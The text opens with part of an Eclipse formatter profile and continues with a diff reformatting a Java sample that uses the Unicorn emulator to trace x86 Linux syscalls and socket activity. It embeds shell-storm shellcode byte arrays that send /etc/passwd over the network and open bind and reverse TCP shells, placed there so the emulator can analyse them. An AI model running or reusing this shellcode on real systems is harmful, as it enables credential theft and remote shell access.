<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_bracket_in_array_allocation_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_synchronized" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_shift_operator" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.use_tabs_only_for_leading_indentations" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_try_clause" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.keep_code_block_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_constructor_declaration_throws" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_record_components" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.tabulation.size" value="4"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_bitwise_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_bracket_in_array_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_conditional" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_try" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_semicolon_in_try_resources" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.continuation_indentation_for_array_initializer" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_question_in_wildcard" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_record_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_superinterfaces_in_enum_declaration" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_assignment_operator" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_labeled_statement" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_switch" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_superinterfaces" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_method_declaration_parameters" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_closing_angle_bracket_in_type_parameters" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_switch_case_with_arrow" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.keep_lambda_body_block_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_method" value="49"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_parameterized_type_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_record_constructor_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_record_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_empty_array_initializer_on_one_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_assertion_message" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_constructor_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_new_chunk" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_bracket_in_array_allocation_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_constructor_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_angle_bracket_in_parameterized_type_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_angle_bracket_in_type_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_assert" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_member_type" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_logical_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_arguments_in_qualified_allocation_expression" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_superinterfaces_in_record_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_if" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_semicolon" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_relational_operator" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_postfix_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_angle_bracket_in_type_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_cast" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.format_block_comments" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_parameters_in_method_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_method_declaration_throws" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_after_last_class_body_declaration" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.indent_statements_compare_to_body" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.keep_simple_while_body_on_same_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_logical_operator" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_between_statement_group_in_switch" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_bracket_in_array_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_annotation" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_enum_constant_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_lambda_declaration" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_case" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_permitted_types" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_bracket_in_array_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_enum_declaration_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_method_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_enum_constant" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_type_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_multiplicative_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_package" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_for" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_for_increments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_enum_constant" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_explicitconstructorcall_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_annotation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.indent_body_declarations_compare_to_enum_constant_header" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_constructor_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_constructor_declaration_throws" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_angle_bracket_in_type_parameters" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_question_in_conditional" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.indent_parameter_description" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_blank_lines_at_beginning_of_code_block" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_before_finally_in_try_statement" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.tabulation.char" value="space"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_string_concatenation" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.lineSplit" value="80"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_annotation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_switch" value="insert"/>
</profile>
</profiles>

View File

@@ -27,403 +27,446 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
import unicorn.*;
import java.util.*;
public class SampleNetworkAuditing {
public static long next_id = 3;
public static final int SIZE_REG = 4;
public static long next_id = 3;
public static final int SIZE_REG = 4;
private static LogChain fd_chains = new LogChain();
private static LogChain fd_chains = new LogChain();
public static long get_id() {
return next_id++;
}
public static long get_id() {
return next_id++;
}
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
private static class MyInterruptHook implements InterruptHook {
// callback for tracing Linux interrupt
public void hook(Unicorn uc, int intno, Object user) {
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
private static class MyInterruptHook implements InterruptHook {
// callback for tracing Linux interrupt
public void hook(Unicorn uc, int intno, Object user) {
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
// only handle Linux syscall
if (intno != 0x80) {
return;
}
Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX);
Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX);
Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP);
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
if (eax == 1) { // sys_exit
System.out.printf(">>> SYS_EXIT\n");
uc.emu_stop();
}
else if (eax == 3) { // sys_read
long fd = ebx;
long buf = ecx;
long count = edx;
String uuid = UUID.randomUUID().toString().substring(0, 32);
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length()));
uc.mem_write(buf, dummy_content);
String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length));
fd_chains.add_log(fd, msg);
System.out.printf(">>> %s\n", msg);
}
else if (eax == 4) { // sys_write
long fd = ebx;
long buf = ecx;
long count = edx;
byte[] content = uc.mem_read(buf, count);
String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd);
System.out.printf(">>> %s\n", msg);
fd_chains.add_log(fd, msg);
}
else if (eax == 5) { // sys_open
long filename_addr = ebx;
long flags = ecx;
long mode = edx;
String filename = read_string(uc, filename_addr);
Long dummy_fd = get_id();
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
System.out.printf(">>> %s\n", msg);
}
else if (eax == 11) { // sys_execv
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
String filename = read_string(uc, ebx);
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
}
else if (eax == 63) { // sys_dup2
fd_chains.link_fd(ecx, ebx);
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
}
else if (eax == 102) { // sys_socketcall
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
// int sys_socketcall(int call, unsigned long *args)
if (call == 1) { // sys_socket
// err = sys_socket(a0,a1,a[2])
// int sys_socket(int family, int type, int protocol)
long family = toInt(uc.mem_read(args, SIZE_REG));
long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
Long dummy_fd = get_id();
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
if (family == 2) { // AF_INET
String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
print_sockcall(msg);
}
else if (family == 3) { // AF_INET6
}
// only handle Linux syscall
if (intno != 0x80) {
return;
}
else if (call == 2) { // sys_bind
long fd = toInt(uc.mem_read(args, SIZE_REG));
long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
Long eax = (Long) uc.reg_read(Unicorn.UC_X86_REG_EAX);
Long ebx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EBX);
Long ecx = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX);
Long edx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EDX);
Long eip = (Long) uc.reg_read(Unicorn.UC_X86_REG_EIP);
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
if (eax == 1) { // sys_exit
System.out.printf(">>> SYS_EXIT\n");
uc.emu_stop();
} else if (eax == 3) { // sys_read
long fd = ebx;
long buf = ecx;
long count = edx;
String uuid = UUID.randomUUID().toString().substring(0, 32);
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0,
(int) Math.min(count, uuid.length()));
uc.mem_write(buf, dummy_content);
String msg = String.format(
"read %d bytes from fd(%d) with dummy_content(%s)", count,
fd, uuid.substring(0, dummy_content.length));
fd_chains.add_log(fd, msg);
System.out.printf(">>> %s\n", msg);
} else if (eax == 4) { // sys_write
long fd = ebx;
long buf = ecx;
long count = edx;
byte[] content = uc.mem_read(buf, count);
String msg = String.format("write data=%s count=%d to fd(%d)",
new String(content), count, fd);
System.out.printf(">>> %s\n", msg);
fd_chains.add_log(fd, msg);
} else if (eax == 5) { // sys_open
long filename_addr = ebx;
long flags = ecx;
long mode = edx;
String filename = read_string(uc, filename_addr);
Long dummy_fd = get_id();
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
String msg = String.format(
"open file (filename=%s flags=%d mode=%d) with fd(%d)",
filename, flags, mode, dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
System.out.printf(">>> %s\n", msg);
} else if (eax == 11) { // sys_execv
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
String filename = read_string(uc, ebx);
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
} else if (eax == 63) { // sys_dup2
fd_chains.link_fd(ecx, ebx);
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
} else if (eax == 102) { // sys_socketcall
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
Long call = (Long) uc.reg_read(Unicorn.UC_X86_REG_EBX);
Long args = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX);
// int sys_socketcall(int call, unsigned long *args)
if (call == 1) { // sys_socket
// err = sys_socket(a0,a1,a[2])
// int sys_socket(int family, int type, int protocol)
long family = toInt(uc.mem_read(args, SIZE_REG));
long sock_type =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long protocol =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
Long dummy_fd = get_id();
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
if (family == 2) { // AF_INET
String msg =
String.format("create socket (%s, %s) with fd(%d)",
ADDR_FAMILY.get(family),
SOCKET_TYPES.get(sock_type), dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
print_sockcall(msg);
} else if (family == 3) { // AF_INET6
}
} else if (call == 2) { // sys_bind
long fd = toInt(uc.mem_read(args, SIZE_REG));
long umyaddr =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
String msg = String.format("fd(%d) bind to %s", fd,
parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 3) { // sys_connect
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
long fd = toInt(uc.mem_read(args, SIZE_REG));
long uservaddr =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
String msg = String.format("fd(%d) connect to %s", fd,
parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 4) { // sys_listen
long fd = toInt(uc.mem_read(args, SIZE_REG));
long backlog =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format(
"fd(%d) listened with backlog=%d", fd, backlog);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 5) { // sys_accept
long fd = toInt(uc.mem_read(args, SIZE_REG));
long upeer_sockaddr =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long upeer_addrlen =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
if (upeer_sockaddr == 0x0) {
print_sockcall(
String.format("fd(%d) accept client", fd));
} else {
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
byte[] sock_addr =
uc.mem_read(upeer_sockaddr, upeer_len);
String msg =
String.format("fd(%d) accept client with upeer=%s",
fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
} else if (call == 9) { // sys_send
long fd = toInt(uc.mem_read(args, SIZE_REG));
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long length =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags =
toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
byte[] buf = uc.mem_read(buff, length);
String msg = String.format("fd(%d) send data=%s", fd,
new String(buf));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 11) { // sys_receive
long fd = toInt(uc.mem_read(args, SIZE_REG));
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long size =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags =
toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
String msg = String.format(
"fd(%d) is gonna receive data with size=%d flags=%d",
fd, size, flags);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 13) { // sys_shutdown
long fd = toInt(uc.mem_read(args, SIZE_REG));
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format(
"fd(%d) is shutted down because of %d", fd, how);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
else if (call == 3) { // sys_connect
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
long fd = toInt(uc.mem_read(args, SIZE_REG));
long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
public static final Hashtable<Long, String> SOCKET_TYPES;
public static final Hashtable<Long, String> ADDR_FAMILY;
static {
SOCKET_TYPES = new Hashtable<Long, String>();
ADDR_FAMILY = new Hashtable<Long, String>();
SOCKET_TYPES.put(1L, "SOCK_STREAM");
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
SOCKET_TYPES.put(3L, "SOCK_RAW");
SOCKET_TYPES.put(4L, "SOCK_RDM");
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
SOCKET_TYPES.put(10L, "SOCK_PACKET");
ADDR_FAMILY.put(0L, "AF_UNSPEC");
ADDR_FAMILY.put(1L, "AF_UNIX");
ADDR_FAMILY.put(2L, "AF_INET");
ADDR_FAMILY.put(3L, "AF_AX25");
ADDR_FAMILY.put(4L, "AF_IPX");
ADDR_FAMILY.put(5L, "AF_APPLETALK");
ADDR_FAMILY.put(6L, "AF_NETROM");
ADDR_FAMILY.put(7L, "AF_BRIDGE");
ADDR_FAMILY.put(8L, "AF_AAL5");
ADDR_FAMILY.put(9L, "AF_X25");
ADDR_FAMILY.put(10L, "AF_INET6");
ADDR_FAMILY.put(12L, "AF_MAX");
}
// http://shell-storm.org/shellcode/files/shellcode-861.php
public static final byte[] X86_SEND_ETCPASSWD = { 106, 102, 88, 49, -37, 67,
49, -46, 82, 106, 1, 106, 2, -119, -31, -51, -128, -119, -58, 106, 102,
88, 67, 104, 127, 1, 1, 1, 102, 104, 48, 57, 102, 83, -119, -31, 106,
16, 81, 86, -119, -31, 67, -51, -128, -119, -58, 106, 1, 89, -80, 63,
-51, -128, -21, 39, 106, 5, 88, 91, 49, -55, -51, -128, -119, -61, -80,
3, -119, -25, -119, -7, 49, -46, -74, -1, -78, -1, -51, -128, -119, -62,
106, 4, 88, -77, 1, -51, -128, 106, 1, 88, 67, -51, -128, -24, -44, -1,
-1, -1, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100 };
// http://shell-storm.org/shellcode/files/shellcode-882.php
public static final byte[] X86_BIND_TCP = { 106, 102, 88, 106, 1, 91, 49,
-10, 86, 83, 106, 2, -119, -31, -51, -128, 95, -105, -109, -80, 102, 86,
102, 104, 5, 57, 102, 83, -119, -31, 106, 16, 81, 87, -119, -31, -51,
-128, -80, 102, -77, 4, 86, 87, -119, -31, -51, -128, -80, 102, 67, 86,
86, 87, -119, -31, -51, -128, 89, 89, -79, 2, -109, -80, 63, -51, -128,
73, 121, -7, -80, 11, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110,
-119, -29, 65, -119, -54, -51, -128 };
// http://shell-storm.org/shellcode/files/shellcode-883.php
public static final byte[] X86_REVERSE_TCP = { 106, 102, 88, 106, 1, 91, 49,
-46, 82, 83, 106, 2, -119, -31, -51, -128, -110, -80, 102, 104, 127, 1,
1, 1, 102, 104, 5, 57, 67, 102, 83, -119, -31, 106, 16, 81, 82, -119,
-31, 67, -51, -128, 106, 2, 89, -121, -38, -80, 63, -51, -128, 73, 121,
-7, -80, 11, 65, -119, -54, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105,
110, -119, -29, -51, -128 };
// http://shell-storm.org/shellcode/files/shellcode-849.php
public static final byte[] X86_REVERSE_TCP_2 = { 49, -64, 49, -37, 49, -55,
49, -46, -80, 102, -77, 1, 81, 106, 6, 106, 1, 106, 2, -119, -31, -51,
-128, -119, -58, -80, 102, 49, -37, -77, 2, 104, -64, -88, 1, 10, 102,
104, 122, 105, 102, 83, -2, -61, -119, -31, 106, 16, 81, 86, -119, -31,
-51, -128, 49, -55, -79, 3, -2, -55, -80, 63, -51, -128, 117, -8, 49,
-64, 82, 104, 110, 47, 115, 104, 104, 47, 47, 98, 105, -119, -29, 82,
83, -119, -31, 82, -119, -30, -80, 11, -51, -128 };
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
public static String join(ArrayList<String> l, String sep) {
boolean first = true;
StringBuilder res = new StringBuilder();
for (String s : l) {
if (!first) {
res.append(sep);
}
else if (call == 4) { // sys_listen
long fd = toInt(uc.mem_read(args, SIZE_REG));
long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
res.append(s);
first = false;
}
return res.toString();
}
private static class LogChain {
public Hashtable<Long, ArrayList<String>> __chains =
new Hashtable<Long, ArrayList<String>>();
public Hashtable<Long, ArrayList<Long>> __linking_fds =
new Hashtable<Long, ArrayList<Long>>();
public void clean() {
__chains.clear();
__linking_fds.clear();
}
public void create_chain(long id) {
if (!__chains.containsKey(id)) {
__chains.put(id, new ArrayList<String>());
} else {
System.out.printf("LogChain: id %d existed\n", id);
}
else if (call == 5) { // sys_accept
long fd = toInt(uc.mem_read(args, SIZE_REG));
long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
if (upeer_sockaddr == 0x0) {
print_sockcall(String.format("fd(%d) accept client", fd));
}
else {
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len);
String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
public void add_log(long id, String msg) {
long fd = get_original_fd(id);
if (fd != -1) {
__chains.get(fd).add(msg);
} else {
System.out.printf("LogChain: id %d doesn't exist\n", id);
}
else if (call == 9) { // sys_send
long fd = toInt(uc.mem_read(args, SIZE_REG));
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
byte[] buf = uc.mem_read(buff, length);
String msg = String.format("fd(%d) send data=%s", fd, new String(buf));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
public void link_fd(long from_fd, long to_fd) {
if (!__linking_fds.containsKey(to_fd)) {
__linking_fds.put(to_fd, new ArrayList<Long>());
}
else if (call == 11) { // sys_receive
long fd = toInt(uc.mem_read(args, SIZE_REG));
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
__linking_fds.get(to_fd).add(from_fd);
}
public long get_original_fd(long fd) {
if (__chains.containsKey(fd)) {
return fd;
}
else if (call == 13) { // sys_shutdown
long fd = toInt(uc.mem_read(args, SIZE_REG));
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format("fd(%d) is shutted down because of %d", fd, how);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
}
}
public static final Hashtable<Long, String> SOCKET_TYPES;
public static final Hashtable<Long, String> ADDR_FAMILY;
static {
SOCKET_TYPES = new Hashtable<Long, String>();
ADDR_FAMILY = new Hashtable<Long, String>();
SOCKET_TYPES.put(1L, "SOCK_STREAM");
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
SOCKET_TYPES.put(3L, "SOCK_RAW");
SOCKET_TYPES.put(4L, "SOCK_RDM");
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
SOCKET_TYPES.put(10L, "SOCK_PACKET");
ADDR_FAMILY.put(0L, "AF_UNSPEC");
ADDR_FAMILY.put(1L, "AF_UNIX");
ADDR_FAMILY.put(2L, "AF_INET");
ADDR_FAMILY.put(3L, "AF_AX25");
ADDR_FAMILY.put(4L, "AF_IPX");
ADDR_FAMILY.put(5L, "AF_APPLETALK");
ADDR_FAMILY.put(6L, "AF_NETROM");
ADDR_FAMILY.put(7L, "AF_BRIDGE");
ADDR_FAMILY.put(8L, "AF_AAL5");
ADDR_FAMILY.put(9L, "AF_X25");
ADDR_FAMILY.put(10L, "AF_INET6");
ADDR_FAMILY.put(12L, "AF_MAX");
}
// http://shell-storm.org/shellcode/files/shellcode-861.php
public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100};
// http://shell-storm.org/shellcode/files/shellcode-882.php
